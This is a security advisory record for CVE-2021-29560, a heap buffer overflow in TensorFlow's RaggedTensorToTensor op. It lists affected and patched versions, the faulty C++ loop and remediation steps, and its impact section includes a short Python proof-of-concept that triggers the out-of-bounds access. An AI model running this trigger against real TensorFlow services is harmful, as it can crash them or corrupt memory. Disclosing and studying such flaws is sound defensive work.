---
id: CVE-2021-29560
aliases:
  - GHSA-8gv3-57p6-g35r
  - BIT-tensorflow-2021-29560
  - PYSEC-2021-197
  - PYSEC-2021-488
  - PYSEC-2021-686
title: Heap buffer overflow in `RaggedTensorToTensor`
summary: Heap buffer overflow in `RaggedTensorToTensor`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-8gv3-57p6-g35r'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8gv3-57p6-g35r
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29560'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-488.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-686.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-197.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00208
epssPercentile: 0.097
ingestedAt: '2026-07-08T18:25:47.492Z'
---

## Overview

### Impact
An attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:

```python
import tensorflow as tf

shape = tf.constant([10, 10], shape=[2], dtype=tf.int64)
values = tf.constant(0, shape=[1], dtype=tf.int64)
default_value = tf.constant(0, dtype=tf.int64)
l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
row = tf.constant(l, shape=[5, 43], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']

tf.raw_ops.RaggedTensorToTensor(
    shape=shape, values=values, default_value=default_value,
    row_partition_tensors=rows, row_partition_types=types) 
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:

```cc
for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {
  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);
  INDEX_TYPE real_length = std::min(output_size, row_length);
  INDEX_TYPE parent_output_index_current = parent_output_index[i];
  ...
}
```

Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.

### Patches
We have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`